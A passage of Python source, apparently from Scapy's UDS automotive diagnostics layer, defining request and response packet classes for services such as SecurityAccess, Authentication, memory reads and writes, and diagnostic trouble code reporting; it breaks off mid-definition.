  fields_desc = [\n        ByteField('securityAccessType', 0),\n        ConditionalField(StrField('securityAccessDataRecord', b\"\"),\n                         lambda pkt: pkt.securityAccessType % 2 == 1),\n        ConditionalField(StrField('securityKey', b\"\"),\n                         lambda pkt: pkt.securityAccessType % 2 == 0)\n    ]\n\n\nbind_layers(UDS, UDS_SA, service=0x27)\n\n\nclass UDS_SAPR(Packet):\n    name = 'SecurityAccessPositiveResponse'\n    fields_desc = [\n        ByteField('securityAccessType', 0),\n        ConditionalField(StrField('securitySeed', b\"\"),\n                         lambda pkt: pkt.securityAccessType % 2 == 1),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_SA) \\\n            and other.securityAccessType == self.securityAccessType\n\n\nbind_layers(UDS, UDS_SAPR, service=0x67)\n\n\n# #########################CC###################################\nclass UDS_CC(Packet):\n    controlTypes = {\n        0x00: 'enableRxAndTx',\n        0x01: 'enableRxAndDisableTx',\n        0x02: 'disableRxAndEnableTx',\n        0x03: 'disableRxAndTx'\n    }\n    name = 'CommunicationControl'\n    fields_desc = [\n        ByteEnumField('controlType', 0, controlTypes),\n        BitEnumField('communicationType0', 0, 2,\n                     {0: 'ISOSAEReserved',\n                      1: 'normalCommunicationMessages',\n                      2: 'networkManagmentCommunicationMessages',\n                      3: 'networkManagmentCommunicationMessages and '\n                         'normalCommunicationMessages'}),\n        BitField('communicationType1', 0, 2),\n        BitEnumField('communicationType2', 0, 4,\n                     {0: 'Disable/Enable specified communication Type',\n                      1: 'Disable/Enable specific subnet',\n                      2: 'Disable/Enable specific subnet',\n                      3: 'Disable/Enable specific subnet',\n                      4: 'Disable/Enable specific subnet',\n                      5: 'Disable/Enable specific subnet',\n                      6: 'Disable/Enable specific subnet',\n                      7: 'Disable/Enable specific subnet',\n                      8: 'Disable/Enable specific subnet',\n                      9: 'Disable/Enable specific subnet',\n                      10: 'Disable/Enable specific subnet',\n                      11: 'Disable/Enable specific subnet',\n                      12: 'Disable/Enable specific subnet',\n                      13: 'Disable/Enable specific subnet',\n                      14: 'Disable/Enable specific subnet',\n                      15: 'Disable/Enable network'})\n    ]\n\n\nbind_layers(UDS, UDS_CC, service=0x28)\n\n\nclass UDS_CCPR(Packet):\n    name = 'CommunicationControlPositiveResponse'\n    fields_desc = [\n        ByteEnumField('controlType', 0, UDS_CC.controlTypes)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_CC) \\\n            and other.controlType == self.controlType\n\n\nbind_layers(UDS, UDS_CCPR, service=0x68)\n\n\n# #########################AUTH###################################\nclass UDS_AUTH(Packet):\n    subFunctions = {\n        0x00: 'deAuthenticate',\n        0x01: 'verifyCertificateUnidirectional',\n        0x02: 'verifyCertificateBidirectional',\n        0x03: 'proofOfOwnership',\n        0x04: 'transmitCertificate',\n        0x05: 'requestChallengeForAuthentication',\n        0x06: 'verifyProofOfOwnershipUnidirectional',\n        0x07: 'verifyProofOfOwnershipBidirectional',\n        0x08: 'authenticationConfiguration',\n        0x7F: 'ISOSAEReserved'\n    }\n    name = \"Authentication\"\n    fields_desc = [\n        ByteEnumField('subFunction', 0, subFunctions),\n        ConditionalField(XByteField('communicationConfiguration', 0),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02, 0x5]),\n        ConditionalField(XShortField('certificateEvaluationId', 0),\n                         lambda pkt: pkt.subFunction == 0x04),\n        ConditionalField(XStrFixedLenField('algorithmIndicator', 0, length=16),\n                         lambda pkt: pkt.subFunction in [0x05, 0x06, 0x07]),\n        ConditionalField(FieldLenField('lengthOfCertificateClient', None,\n                                       fmt=\"H\", length_of='certificateClient'),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02]),\n        ConditionalField(XStrLenField('certificateClient', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfCertificateClient),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02]),\n        ConditionalField(FieldLenField('lengthOfProofOfOwnershipClient', None,\n                                       fmt=\"H\",\n                                       length_of='proofOfOwnershipClient'),\n                         lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]),\n        ConditionalField(XStrLenField('proofOfOwnershipClient', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfProofOfOwnershipClient),\n                         lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]),\n        ConditionalField(FieldLenField('lengthOfChallengeClient', None,\n                                       fmt=\"H\", length_of='challengeClient'),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02, 0x06,\n                                                         0x07]),\n        ConditionalField(XStrLenField('challengeClient', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfChallengeClient),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02, 0x06,\n                                                         0x07]),\n        ConditionalField(FieldLenField('lengthOfEphemeralPublicKeyClient',\n                                       None, fmt=\"H\",\n                                       length_of='ephemeralPublicKeyClient'),\n                         lambda pkt: pkt.subFunction == 0x03),\n        ConditionalField(XStrLenField('ephemeralPublicKeyClient', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfEphemeralPublicKeyClient),\n                         lambda pkt: pkt.subFunction == 0x03),\n        ConditionalField(FieldLenField('lengthOfCertificateData', None,\n                                       fmt=\"H\", length_of='certificateData'),\n                         lambda pkt: pkt.subFunction == 0x04),\n        ConditionalField(XStrLenField('certificateData', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfCertificateData),\n                         lambda pkt: pkt.subFunction == 0x04),\n        ConditionalField(FieldLenField('lengthOfAdditionalParameter', None,\n                                       fmt=\"H\",\n                                       length_of='additionalParameter'),\n                         lambda pkt: pkt.subFunction in [0x06, 0x07]),\n        ConditionalField(XStrLenField('additionalParameter', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfAdditionalParameter),\n                         lambda pkt: pkt.subFunction in [0x06, 0x07]),\n    ]\n\n\nbind_layers(UDS, UDS_AUTH, service=0x29)\n\n\nclass UDS_AUTHPR(Packet):\n    authenticationReturnParameterTypes = {\n        0x00: 'requestAccepted',\n        0x01: 'generalReject',\n        # Authentication with PKI Certificate Exchange (ACPE)\n        0x02: 'authenticationConfigurationAPCE',\n        # Authentication with Challenge-Response (ACR)\n        0x03: 'authenticationConfigurationACRWithAsymmetricCryptography',\n        0x04: 'authenticationConfigurationACRWithSymmetricCryptography',\n        0x05: 'ISOSAEReserved',\n        0x0F: 'ISOSAEReserved',\n        0x10: 'deAuthenticationSuccessful',\n        0x11: 'certificateVerifiedOwnershipVerificationNecessary',\n        0x12: 'ownershipVerifiedAuthenticationComplete',\n        0x13: 'certificateVerified',\n        0x14: 'ISOSAEReserved',\n        0x9F: 'ISOSAEReserved',\n        0xFF: 'ISOSAEReserved'\n    }\n    name = 'AuthenticationPositiveResponse'\n    fields_desc = [\n        ByteEnumField('subFunction', 0, UDS_AUTH.subFunctions),\n        ByteEnumField('returnValue', 0, authenticationReturnParameterTypes),\n        ConditionalField(XStrFixedLenField('algorithmIndicator', 0, length=16),\n                         lambda pkt: pkt.subFunction in [0x05, 0x06, 0x07]),\n        ConditionalField(FieldLenField('lengthOfChallengeServer', None,\n                                       fmt=\"H\", length_of='challengeServer'),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02, 0x05]),\n        ConditionalField(XStrLenField('challengeServer', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfChallengeServer),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02, 0x05]),\n        ConditionalField(FieldLenField('lengthOfCertificateServer', None,\n                                       fmt=\"H\", length_of='certificateServer'),\n                         lambda pkt: pkt.subFunction == 0x02),\n        ConditionalField(XStrLenField('certificateServer', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfCertificateServer),\n                         lambda pkt: pkt.subFunction == 0x02),\n        ConditionalField(FieldLenField('lengthOfProofOfOwnershipServer', None,\n                                       fmt=\"H\",\n                                       length_of='proofOfOwnershipServer'),\n                         lambda pkt: pkt.subFunction in [0x02, 0x07]),\n        ConditionalField(XStrLenField('proofOfOwnershipServer', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfProofOfOwnershipServer),\n                         lambda pkt: pkt.subFunction in [0x02, 0x07]),\n        ConditionalField(FieldLenField('lengthOfSessionKeyInfo', None, fmt=\"H\",\n                                       length_of='sessionKeyInfo'),\n                         lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]),\n        ConditionalField(XStrLenField('sessionKeyInfo', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfSessionKeyInfo),\n                         lambda pkt: pkt.subFunction in [0x03, 0x06, 0x07]),\n        ConditionalField(FieldLenField('lengthOfEphemeralPublicKeyServer',\n                                       None, fmt=\"H\",\n                                       length_of='ephemeralPublicKeyServer'),\n                         lambda pkt: pkt.subFunction in [0x01, 0x02]),\n        ConditionalField(XStrLenField('ephemeralPublicKeyServer', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfEphemeralPublicKeyServer),\n                         lambda pkt: pkt.subFunction in [0x1, 0x02]),\n        ConditionalField(FieldLenField('lengthOfNeededAdditionalParameter',\n                                       None, fmt=\"H\",\n                                       length_of='neededAdditionalParameter'),\n                         lambda pkt: pkt.subFunction == 0x05),\n        ConditionalField(XStrLenField('neededAdditionalParameter', b\"\",\n                                      length_from=lambda p:\n                                      p.lengthOfNeededAdditionalParameter),\n                         lambda pkt: pkt.subFunction == 0x05),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_AUTH) \\\n            and other.subFunction == self.subFunction\n\n\nbind_layers(UDS, UDS_AUTHPR, service=0x69)\n\n\n# #########################TP###################################\nclass UDS_TP(Packet):\n    name = 'TesterPresent'\n    fields_desc = [\n        ByteField('subFunction', 0)\n    ]\n\n\nbind_layers(UDS, UDS_TP, service=0x3E)\n\n\nclass UDS_TPPR(Packet):\n    name = 'TesterPresentPositiveResponse'\n    fields_desc = [\n        ByteField('zeroSubFunction', 0)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_TP)\n\n\nbind_layers(UDS, UDS_TPPR, service=0x7E)\n\n\n# #########################ATP###################################\nclass UDS_ATP(Packet):\n    timingParameterAccessTypes = {\n        0: 'ISOSAEReserved',\n        1: 'readExtendedTimingParameterSet',\n        2: 'setTimingParametersToDefaultValues',\n        3: 'readCurrentlyActiveTimingParameters',\n        4: 'setTimingParametersToGivenValues'\n    }\n    name = 'AccessTimingParameter'\n    fields_desc = [\n        ByteEnumField('timingParameterAccessType', 0,\n                      timingParameterAccessTypes),\n        ConditionalField(StrField('timingParameterRequestRecord', b\"\"),\n                         lambda pkt: pkt.timingParameterAccessType == 0x4)\n    ]\n\n\nbind_layers(UDS, UDS_ATP, service=0x83)\n\n\nclass UDS_ATPPR(Packet):\n    name = 'AccessTimingParameterPositiveResponse'\n    fields_desc = [\n        ByteEnumField('timingParameterAccessType', 0,\n                      UDS_ATP.timingParameterAccessTypes),\n        ConditionalField(StrField('timingParameterResponseRecord', b\"\"),\n                         lambda pkt: pkt.timingParameterAccessType == 0x3)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_ATP) \\\n            and other.timingParameterAccessType == \\\n            self.timingParameterAccessType\n\n\nbind_layers(UDS, UDS_ATPPR, service=0xC3)\n\n\n# #########################SDT###################################\n# TODO: Implement correct internal message service handling here,\n# instead of using just the dataRecord\nclass UDS_SDT(Packet):\n    name = 'SecuredDataTransmission'\n    fields_desc = [\n        BitField('requestMessage', 0, 1),\n        BitField('ISOSAEReservedBackwardsCompatibility', 0, 2),\n        BitField('preEstablishedKeyUsed', 0, 1),\n        BitField('encryptedMessage', 0, 1),\n        BitField('signedMessage', 0, 1),\n        BitField('signedResponseRequested', 0, 1),\n        BitField('ISOSAEReserved', 0, 9),\n        ByteField('signatureEncryptionCalculation', 0),\n        XShortField('signatureLength', 0),\n        XShortField('antiReplayCounter', 0),\n        ByteField('internalMessageServiceRequestId', 0),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(UDS, UDS_SDT, service=0x84)\n\n\nclass UDS_SDTPR(Packet):\n    name = 'SecuredDataTransmissionPositiveResponse'\n    fields_desc = [\n        BitField('requestMessage', 0, 1),\n        BitField('ISOSAEReservedBackwardsCompatibility', 0, 2),\n        BitField('preEstablishedKeyUsed', 0, 1),\n        BitField('encryptedMessage', 0, 1),\n        BitField('signedMessage', 0, 1),\n        BitField('signedResponseRequested', 0, 1),\n        BitField('ISOSAEReserved', 0, 9),\n        ByteField('signatureEncryptionCalculation', 0),\n        XShortField('signatureLength', 0),\n        XShortField('antiReplayCounter', 0),\n        ByteField('internalMessageServiceResponseId', 0),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_SDT)\n\n\nbind_layers(UDS, UDS_SDTPR, service=0xC4)\n\n\n# #########################CDTCS###################################\nclass UDS_CDTCS(Packet):\n    DTCSettingTypes = {\n        0: 'ISOSAEReserved',\n        1: 'on',\n        2: 'off'\n    }\n    name = 'ControlDTCSetting'\n    fields_desc = [\n        ByteEnumField('DTCSettingType', 0, DTCSettingTypes),\n        StrField('DTCSettingControlOptionRecord', b\"\")\n    ]\n\n\nbind_layers(UDS, UDS_CDTCS, service=0x85)\n\n\nclass UDS_CDTCSPR(Packet):\n    name = 'ControlDTCSettingPositiveResponse'\n    fields_desc = [\n        ByteEnumField('DTCSettingType', 0, UDS_CDTCS.DTCSettingTypes)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_CDTCS)\n\n\nbind_layers(UDS, UDS_CDTCSPR, service=0xC5)\n\n\n# #########################ROE###################################\n# TODO: improve this protocol implementation\nclass UDS_ROE(Packet):\n    eventTypes = {\n        0: 'doNotStoreEvent',\n        1: 'storeEvent'\n    }\n    name = 'ResponseOnEvent'\n    fields_desc = [\n        ByteEnumField('eventType', 0, eventTypes),\n        ByteField('eventWindowTime', 0),\n        StrField('eventTypeRecord', b\"\")\n    ]\n\n\nbind_layers(UDS, UDS_ROE, service=0x86)\n\n\nclass UDS_ROEPR(Packet):\n    name = 'ResponseOnEventPositiveResponse'\n    fields_desc = [\n        ByteEnumField('eventType', 0, UDS_ROE.eventTypes),\n        ByteField('numberOfIdentifiedEvents', 0),\n        ByteField('eventWindowTime', 0),\n        StrField('eventTypeRecord', b\"\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_ROE) \\\n            and other.eventType == self.eventType\n\n\nbind_layers(UDS, UDS_ROEPR, service=0xC6)\n\n\n# #########################LC###################################\nclass UDS_LC(Packet):\n    linkControlTypes = {\n        0: 'ISOSAEReserved',\n        1: 'verifyBaudrateTransitionWithFixedBaudrate',\n        2: 'verifyBaudrateTransitionWithSpecificBaudrate',\n        3: 'transitionBaudrate'\n    }\n    name = 'LinkControl'\n    fields_desc = [\n        ByteEnumField('linkControlType', 0, linkControlTypes),\n        ConditionalField(ByteField('baudrateIdentifier', 0),\n                         lambda pkt: pkt.linkControlType == 0x1),\n        ConditionalField(ByteField('baudrateHighByte', 0),\n                         lambda pkt: pkt.linkControlType == 0x2),\n        ConditionalField(ByteField('baudrateMiddleByte', 0),\n                         lambda pkt: pkt.linkControlType == 0x2),\n        ConditionalField(ByteField('baudrateLowByte', 0),\n                         lambda pkt: pkt.linkControlType == 0x2)\n    ]\n\n\nbind_layers(UDS, UDS_LC, service=0x87)\n\n\nclass UDS_LCPR(Packet):\n    name = 'LinkControlPositiveResponse'\n    fields_desc = [\n        ByteEnumField('linkControlType', 0, UDS_LC.linkControlTypes)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_LC) \\\n            and other.linkControlType == self.linkControlType\n\n\nbind_layers(UDS, UDS_LCPR, service=0xC7)\n\n\n# #########################RDBI###################################\nclass UDS_RDBI(Packet):\n    dataIdentifiers = ObservableDict()\n    name = 'ReadDataByIdentifier'\n    fields_desc = [\n        FieldListField(\"identifiers\", None,\n                       XShortEnumField('dataIdentifier', 0,\n                                       dataIdentifiers))\n    ]\n\n\nbind_layers(UDS, UDS_RDBI, service=0x22)\n\n\nclass UDS_RDBIPR(Packet):\n    name = 'ReadDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0,\n                        UDS_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RDBI) \\\n            and self.dataIdentifier in other.identifiers\n\n\nbind_layers(UDS, UDS_RDBIPR, service=0x62)\n\n\n# #########################RMBA###################################\nclass UDS_RMBA(Packet):\n    name = 'ReadMemoryByAddress'\n    fields_desc = [\n        BitField('memorySizeLen', 0, 4),\n        BitField('memoryAddressLen', 0, 4),\n        ConditionalField(XByteField('memoryAddress1', 0),\n                         lambda pkt: pkt.memoryAddressLen == 1),\n        ConditionalField(XShortField('memoryAddress2', 0),\n                         lambda pkt: pkt.memoryAddressLen == 2),\n        ConditionalField(X3BytesField('memoryAddress3', 0),\n                         lambda pkt: pkt.memoryAddressLen == 3),\n        ConditionalField(XIntField('memoryAddress4', 0),\n                         lambda pkt: pkt.memoryAddressLen == 4),\n        ConditionalField(XByteField('memorySize1', 0),\n                         lambda pkt: pkt.memorySizeLen == 1),\n        ConditionalField(XShortField('memorySize2', 0),\n                         lambda pkt: pkt.memorySizeLen == 2),\n        ConditionalField(X3BytesField('memorySize3', 0),\n                         lambda pkt: pkt.memorySizeLen == 3),\n        ConditionalField(XIntField('memorySize4', 0),\n                         lambda pkt: pkt.memorySizeLen == 4),\n    ]\n\n\nbind_layers(UDS, UDS_RMBA, service=0x23)\n\n\nclass UDS_RMBAPR(Packet):\n    name = 'ReadMemoryByAddressPositiveResponse'\n    fields_desc = [\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RMBA)\n\n\nbind_layers(UDS, UDS_RMBAPR, service=0x63)\n\n\n# #########################RSDBI###################################\nclass UDS_RSDBI(Packet):\n    name = 'ReadScalingDataByIdentifier'\n    dataIdentifiers = ObservableDict()\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0, dataIdentifiers)\n    ]\n\n\nbind_layers(UDS, UDS_RSDBI, service=0x24)\n\n\n# TODO: Implement correct scaling here, instead of using just the dataRecord\nclass UDS_RSDBIPR(Packet):\n    name = 'ReadScalingDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0, UDS_RSDBI.dataIdentifiers),\n        ByteField('scalingByte', 0),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RSDBI) \\\n            and other.dataIdentifier == self.dataIdentifier\n\n\nbind_layers(UDS, UDS_RSDBIPR, service=0x64)\n\n\n# #########################RDBPI###################################\nclass UDS_RDBPI(Packet):\n    periodicDataIdentifiers = ObservableDict()\n    transmissionModes = {\n        0: 'ISOSAEReserved',\n        1: 'sendAtSlowRate',\n        2: 'sendAtMediumRate',\n        3: 'sendAtFastRate',\n        4: 'stopSending'\n    }\n    name = 'ReadDataByPeriodicIdentifier'\n    fields_desc = [\n        ByteEnumField('transmissionMode', 0, transmissionModes),\n        ByteEnumField('periodicDataIdentifier', 0, periodicDataIdentifiers),\n        StrField('furtherPeriodicDataIdentifier', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(UDS, UDS_RDBPI, service=0x2A)\n\n\n# TODO: Implement correct scaling here, instead of using just the dataRecord\nclass UDS_RDBPIPR(Packet):\n    name = 'ReadDataByPeriodicIdentifierPositiveResponse'\n    fields_desc = [\n        ByteField('periodicDataIdentifier', 0),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_RDBPI) \\\n            and other.periodicDataIdentifier == self.periodicDataIdentifier\n\n\nbind_layers(UDS, UDS_RDBPIPR, service=0x6A)\n\n\n# #########################DDDI###################################\n# TODO: Implement correct interpretation here,\n# instead of using just the dataRecord\nclass UDS_DDDI(Packet):\n    name = 'DynamicallyDefineDataIdentifier'\n    subFunctions = {0x1: \"defineByIdentifier\",\n                    0x2: \"defineByMemoryAddress\",\n                    0x3: \"clearDynamicallyDefinedDataIdentifier\"}\n    fields_desc = [\n        ByteEnumField('subFunction', 0, subFunctions),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n\nbind_layers(UDS, UDS_DDDI, service=0x2C)\n\n\nclass UDS_DDDIPR(Packet):\n    name = 'DynamicallyDefineDataIdentifierPositiveResponse'\n    fields_desc = [\n        ByteEnumField('subFunction', 0, UDS_DDDI.subFunctions),\n        XShortField('dynamicallyDefinedDataIdentifier', 0)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_DDDI) \\\n            and other.subFunction == self.subFunction\n\n\nbind_layers(UDS, UDS_DDDIPR, service=0x6C)\n\n\n# #########################WDBI###################################\nclass UDS_WDBI(Packet):\n    name = 'WriteDataByIdentifier'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0,\n                        UDS_RDBI.dataIdentifiers)\n    ]\n\n\nbind_layers(UDS, UDS_WDBI, service=0x2E)\n\n\nclass UDS_WDBIPR(Packet):\n    name = 'WriteDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XShortEnumField('dataIdentifier', 0,\n                        UDS_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_WDBI) \\\n            and other.dataIdentifier == self.dataIdentifier\n\n\nbind_layers(UDS, UDS_WDBIPR, service=0x6E)\n\n\n# #########################WMBA###################################\nclass UDS_WMBA(Packet):\n    name = 'WriteMemoryByAddress'\n    fields_desc = [\n        BitField('memorySizeLen', 0, 4),\n        BitField('memoryAddressLen', 0, 4),\n        ConditionalField(XByteField('memoryAddress1', 0),\n                         lambda pkt: pkt.memoryAddressLen == 1),\n        ConditionalField(XShortField('memoryAddress2', 0),\n                         lambda pkt: pkt.memoryAddressLen == 2),\n        ConditionalField(X3BytesField('memoryAddress3', 0),\n                         lambda pkt: pkt.memoryAddressLen == 3),\n        ConditionalField(XIntField('memoryAddress4', 0),\n                         lambda pkt: pkt.memoryAddressLen == 4),\n        ConditionalField(XByteField('memorySize1', 0),\n                         lambda pkt: pkt.memorySizeLen == 1),\n        ConditionalField(XShortField('memorySize2', 0),\n                         lambda pkt: pkt.memorySizeLen == 2),\n        ConditionalField(X3BytesField('memorySize3', 0),\n                         lambda pkt: pkt.memorySizeLen == 3),\n        ConditionalField(XIntField('memorySize4', 0),\n                         lambda pkt: pkt.memorySizeLen == 4),\n        StrField('dataRecord', b'', fmt=\"B\"),\n\n    ]\n\n\nbind_layers(UDS, UDS_WMBA, service=0x3D)\n\n\nclass UDS_WMBAPR(Packet):\n    name = 'WriteMemoryByAddressPositiveResponse'\n    fields_desc = [\n        BitField('memorySizeLen', 0, 4),\n        BitField('memoryAddressLen', 0, 4),\n        ConditionalField(XByteField('memoryAddress1', 0),\n                         lambda pkt: pkt.memoryAddressLen == 1),\n        ConditionalField(XShortField('memoryAddress2', 0),\n                         lambda pkt: pkt.memoryAddressLen == 2),\n        ConditionalField(X3BytesField('memoryAddress3', 0),\n                         lambda pkt: pkt.memoryAddressLen == 3),\n        ConditionalField(XIntField('memoryAddress4', 0),\n                         lambda pkt: pkt.memoryAddressLen == 4),\n        ConditionalField(XByteField('memorySize1', 0),\n                         lambda pkt: pkt.memorySizeLen == 1),\n        ConditionalField(XShortField('memorySize2', 0),\n                         lambda pkt: pkt.memorySizeLen == 2),\n        ConditionalField(X3BytesField('memorySize3', 0),\n                         lambda pkt: pkt.memorySizeLen == 3),\n        ConditionalField(XIntField('memorySize4', 0),\n                         lambda pkt: pkt.memorySizeLen == 4)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, UDS_WMBA) \\\n            and other.memorySizeLen == self.memorySizeLen \\\n            and other.memoryAddressLen == self.memoryAddressLen\n\n\nbind_layers(UDS, UDS_WMBAPR, service=0x7D)\n\n\n# ##########################DTC#####################################\nclass DTC(Packet):\n    name = 'Diagnostic Trouble Code'\n    dtc_descriptions = {}  # Customize this dictionary for each individual ECU / OEM\n\n    fields_desc = [\n        BitEnumField(\"system\", 0, 2, {\n            0: \"Powertrain\",\n            1: \"Chassis\",\n            2: \"Body\",\n            3: \"Network\"}),\n        BitEnumField(\"type\", 0, 2, {\n            0: \"Generic\",\n            1: \"ManufacturerSpecific\",\n            2: \"Generic\",\n            3: \"Generic\"}),\n        BitField(\"numeric_value_code\", 0, 12),\n        ByteField(\"additional_information_code\", 0),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\n# #########################CDTCI###################################\nclass UDS_CDTCI(Packet):\n    name = 'ClearDiagnosticInformation'\n    fields_desc = [\n        ByteField('groupOfDTCHighByte', 0),\n        ByteField('groupOfDTCMiddleByte', 0),\n        ByteField('groupOfDTCLowByte', 0),\n    ]\n\n\nbind_layers(UDS, UDS_CDTCI, service=0x14)\n\n\nclass UDS_CDTCIPR(Packet):\n    name = 'ClearDiagnosticInformationPositiveResponse'\n\n    def answers(self, other):\n        return isinstance(other, UDS_CDTCI)\n\n\nbind_layers(UDS, UDS_CDTCIPR, service=0x54)\n\n\n# #########################RDTCI###################################\nclass UDS_RDTCI(Packet):\n    reportTypes = {\n        0: 'ISOSAEReserved',\n        1: 'reportNumberOfDTCByStatusMask',\n        2: 'reportDTCByStatusMask',\n        3: 'reportDTCSnapshotIdentification',\n        4: 'reportDTCSnapshotRecordByDTCNumber',\n        5: 'reportDTCSnapshotRecordByRecordNumber',\n        6: 'reportDTCExtendedDataRecordByDTCNumber',\n        7: 'reportNumberOfDTCBySeverityMaskRecord',\n        8: 'reportDTCBySeverityMaskRecord',\n        9: 'reportSeverityInformationOfDTC',\n        10: 'reportSupportedDTC',\n        11: 'reportFirstTestFailedDTC',\n        12: 'reportFirstConfirmedDTC',\n        13: 'reportMostRecentTestFailedDTC',\n        14: 'reportMostRecentConfirmedDTC',\n        15: 'reportMirrorMemoryDTCByStatusMask',\n        16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber',\n        17: 'reportNumberOfMirrorMemoryDTCByStatusMask',\n        18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask',\n        19: 'reportEmissionsRelatedOBDDTCByStatusMask',\n        20: 'reportDTCFaultDetectionCounter',\n        21: 'reportDTCWithPermanentStatus'\n    }\n    dtcStatus = {\n        1: 'TestFailed',\n        2: 'TestFailedThisOperationCycle',\n        4: 'PendingDTC',\n        8: 'ConfirmedDTC',\n        16: 'TestNotCompletedSinceLastClear',\n        32: 'TestFailedSinceLastClear',\n        64: 'TestNotCompletedThisOperationCycle',\n        128: 'WarningIndicatorRequested'\n    }\n    dtcStatusMask = {\n        1: 'ActiveDTCs',\n        4: 'PendingDTCs',\n        8: 'ConfirmedOrStoredDTCs',\n        255: 'AllRecordDTCs'\n    }\n    dtcSeverityMask = {\n        # 0: 'NoSeverityInformation',\n        1: 'NoClassInformation',\n        2: 'WWH-OBDClassA',\n        4: 'WWH-OBDClassB1',\n        8: 'WWH-OBDClassB2',\n        16: 'WWH-OBDClassC',\n        32: 'MaintenanceRequired',\n        64: 'CheckAtNextHalt',\n        128: 'CheckImmediately'\n    }\n    name = 'ReadDTCInformation'\n    fields_desc = [\n        ByteEnumField('reportType', 0, reportTypes),\n        ConditionalField(FlagsField('DTCSeverityMask', 0, 8, dtcSeverityMask),\n                         lambda pkt: pkt.reportType in [0x07, 0x08]),\n        ConditionalField(FlagsField('DTCStatusMask', 0, 8, dtcStatusMask),\n                         lambda pkt: pkt.reportType in [\n                             0x01, 0x02, 0x07, 0x08, 0x0f, 0x11, 0x12, 0x13]),\n        ConditionalField(PacketField(\"dtc\", None, pkt_cls=DTC),\n                         lambda pkt: pkt.reportType in [0x3, 0x4, 0x6,\n                                                        0x10, 0x09]),\n        ConditionalField(ByteField('DTCSnapshotRecordNumber', 0),\n                         lambda pkt: pkt.reportType in [0x3, 0x4, 0x5]),\n        ConditionalField(ByteField('DTCExtendedDataRecordNumber', 0),\n                         lambda pkt: pkt.reportType in [0x6, 0x10])\n    ]\n\n\nbind_layers(UDS, UDS_RDTCI, service=0x19)\n\n\nclass DTCAndStatusRecord(Packet):\n    name = 'DTC and status record'\n    fields_desc = [\n        PacketField(\"dtc\", None, pkt_cls=DTC),\n        FlagsField(\"status\", 0, 8, UDS_RDTCI.dtcStatus)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DTCExtendedData(Packet):\n    name = 'Diagnostic Trouble Code Extended Data'\n    dataTypes = ObservableDict()\n    fields_desc = [\n        ByteEnumField(\"data_type\", 0, dataTypes),\n        XByteField(\"record\", 0)\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DTCExtendedDataRecord(Packet):\n    fields_desc = [\n        PacketField(\"dtcAndStatus\", None, pkt_cls=DTCAndStatusRecord),\n        PacketListField(\"extendedData\", None, pkt_cls=DTCExtendedData)\n    ]\n\n\nclass DTCSnapshot(Packet):\n    identifiers = defaultdict(list)  # for later extension\n\n    @staticmethod\n    def next_identifier_cb(pkt, lst, cur, remain):\n        return Raw\n\n    fields_desc = [\n        ByteField(\"record_number\", 0),\n        ByteField(\"record_number_of_identifiers\", 0),\n        PacketListField(\n            \"snapshotData\", None,\n            next_cls_cb=lambda pkt, lst, cur, remain: DTCSnapshot.next_identifier_cb(\n                pkt, lst, cur, remain))\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass DTCSnapshotRecord(Packet):\n    fields_desc = [\n        PacketField(\"dtcAndStatus\", None, pkt_cls=DTCAndStatusRecord),\n        PacketListField(\"snapshots\", None, pkt_cls=DTCSnapshot)\n    ]\n\n\nclass UDS_RDTCIPR(Packet):\n    name = 'ReadDTCInformationPositiveResponse'\n    fields_desc = 